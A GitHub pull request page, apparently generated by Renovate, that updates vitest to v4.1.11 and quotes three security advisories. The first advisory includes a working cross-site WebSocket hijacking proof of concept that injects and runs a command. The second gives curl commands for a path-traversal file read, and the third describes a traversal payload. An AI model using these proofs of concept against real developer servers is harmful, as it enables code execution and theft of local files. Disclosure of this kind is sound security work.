Skip to content

chore(deps): update dependency vitest to v4 [security] - #37

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 7, 2025

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.44.1.11 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Vitest: Path Traversal / Arbitrary File Read via @​vitest/mocker Redirect Mock

CVE-2026-84373 / GHSA-82fw-gwwq-j7x9

More information

Details

Summary

@vitest/mocker registers a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin's load hook returns
readFile(<attacker path>) as the module source, disclosing local files.

This is exploitable without authentication only through the public
mockerPlugin / standalone interceptorPlugin exports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).

Affected code

packages/mocker/src/node/interceptorPlugin.ts.

The load hook is the file-read sink:

if (mock.type === 'redirect') {
  return readFile(mock.redirect, 'utf-8')
}

mock.redirect is derived from client input at registration time with no
boundary check:

if (event.type === 'redirect') {
  const redirectUrl = new URL(event.redirect)
  event.redirect = join(server.config.root, redirectUrl.pathname)
}
registry.register(event)

There is no server.fs.allow / server.fs.deny check and no assertion that the
resolved path stays within the project root.

Registration paths and trust boundaries
  • Public mockerPlugin / interceptorPlugin (unauthenticated). In
    configureServer, the plugin registers server.ws.on('vitest:interceptor:register', …)
    on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
    check, so any client that can reach it can register a redirect mock. This is
    the path the "unauthenticated" impact applies to.
  • Vitest browser mode (authenticated). Mocks register over the browser RPC
    (registerMock), which sits behind a per-run token (isValidApiRequest, a
    random api.token). The interceptor's configureServer socket is not used for
    registration here (in v5 it does not run at all, as the plugin is injected per
    environment). The same missing boundary check exists on the authenticated RPC
    path, but reaching it requires the token, so it is not a remote-unauthenticated
    read.
Path handling

new URL(redirect).pathname combined with join(root, pathname) does not
confine reads to the root:

  • Special/hierarchical schemes (file:, http:) are normalized by WHATWG URL,
    so .. segments are collapsed and the result stays under the root. Payloads of
    the form file:///../../etc/passwd do not escape.
  • A non-special (opaque) scheme preserves .. in pathname, so
    join(root, "../../…/etc/passwd") resolves outside the root and reads an
    arbitrary file.

Even without escaping the root, the missing server.fs check allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root .env or source that is denied by server.fs.deny).

Scope / preconditions
  • This is a development-server issue. The dev server binds to localhost by
    default and is not reachable from the network unless the developer exposes it
    (server.host / 0.0.0.0, a LAN bind, or a proxy).
  • A raw (non-browser) client against a reachable server bypasses browser origin
    and CORS protections entirely and can both register the mock and read the
    response.
  • A browser-based drive-by against a localhost server is substantially mitigated
    by Vite defaults: the default CORS origin allowlist is limited to localhost
    origins, and server.allowedHosts blocks DNS-rebinding, so a cross-origin page
    cannot read the file contents back.
Impact

Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.

Affected versions

Present since @vitest/mocker was introduced.

  • Affected: @vitest/mocker >= 2.1.0 (shipped in vitest and
    @vitest/browser >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.
  • Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
    maintained and are not planned to receive the fix.
Fix

Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v4.1.11

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v4.1.10

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v4.1.9

Compare Source

🐞 Bug Fixes
  • Fix importOriginal with optimizer and query import [backport to v4] - by Hiroshi Ogawa, David Harris, Codexand Vladimir in #​10546 (a5180)
  • browser:
    • Wait for orchestrator readiness before resolving browser sessions [backport to v4] - by Vladimir and Séamus O'Connor in #​10555 (7fb29)
    • Wait for iframe tester readiness before preparing [backport to v4] - by Vladimir and Séamus O'Connor in #​10497 and #​10556 (fbc62)
  • mocker:
    • Hoist vi.mock() for vite-plus/test imports [backport to v4] - by Hiroshi Ogawa, LongYinan, Claude Opus 4.8 and Vladimir in #​10548 (2c955)
  • pool:
    • Prevent test run hang on worker crash [backport to v4] - by Ari Perkkiö and Jattioui Ismail in #​10543 and #​10564 (934b0)
View changes on GitHub

v4.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v4.1.7

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v4.1.6

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v4.1.5

Compare Source

   🚀 Experimental Features
   🐞 Bug Fixes
    View changes on GitHub

v4.1.4

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v4.1.3

Compare Source

   🚀 Experimental Features
   🐞 Bug Fixes
    View changes on GitHub

v4.1.2

Compare Source

This release bumps Vitest's flatted version and removes version pinning to resolve flatted's CVE related issues (#​9975).

   🐞 Bug Fixes
    View changes on GitHub

v4.1.1

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v4.1.0

Compare Source

Vitest 4.1 is out!

This release page lists all changes made to the project during the 4.1 beta. To get a review of all the new features, read our blog post.

   🚀 Features

Important

✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@sourcery-ai

sourcery-ai Bot commented Feb 7, 2025

Copy link
Copy Markdown

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from v2.1.4 to v2.1.9 to address a security vulnerability (CVE-2025-24964) involving arbitrary remote code execution via cross-site WebSocket hijacking. The changes are implemented by modifying version numbers in both the package manifest and the lockfile, ensuring that vitest and its associated packages are consistently updated.

No diagrams generated as the changes look simple and do not need a visual representation.

File-Level Changes

Change Details Files
Update vitest dependency and related packages to v2.1.9
  • Bump vitest version in the package.json file from 2.1.4 to 2.1.9
  • Update multiple vitest-related packages (e.g., @vitest/expect, @vitest/mocker, @vitest/pretty-format, @vitest/runner, @vitest/snapshot, @vitest/spy, and @vitest/utils) in the lockfile to the latest version
  • Adjust dependency resolutions in frontend/pnpm-lock.yaml, including changes for vite-node and vitest, to reflect the updated version
frontend/package.json
frontend/pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@coderabbitai

coderabbitai Bot commented Feb 7, 2025

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Advanced

Run ID: c5a11df4-cf0f-4e54-8c18-d352a9733d72

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@sourcery-ai sourcery-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@codiumai-pr-agent-free

Copy link
Copy Markdown

CI Feedback 🧐

A test triggered by this PR failed. Here is an AI-generated analysis of the failure:

Action: go-tests

Failed stage: [❌]

Failure summary:

The action failed because no GitHub runner was available to execute the job. The system was waiting
for a runner to pick up the job but timed out or was interrupted.

Relevant error logs:
1:  Job defined at: khulnasoft/devsecdb/.github/workflows/test_link.yml@refs/pull/37/merge
2:  Waiting for a runner to pick up this job...

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 18b2133 to ebadddb Compare September 25, 2025 06:53
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ebadddb to abf3b6f Compare January 1, 2026 00:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from abf3b6f to a827b9c Compare February 3, 2026 04:12
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a827b9c to c0493e2 Compare February 13, 2026 12:07
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c0493e2 to 2f95981 Compare May 1, 2026 04:58
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2f95981 to fe3104b Compare May 23, 2026 07:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from fe3104b to 0aed216 Compare July 25, 2026 07:56
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0aed216 to 8361377 Compare August 16, 2026 07:02
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8361377 to b27a180 Compare August 29, 2026 05:59
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v3 [security] Aug 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b27a180 to eac6172 Compare September 12, 2026 23:54
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v3 [security] chore(deps): update dependency vitest to v4 [security] Sep 12, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants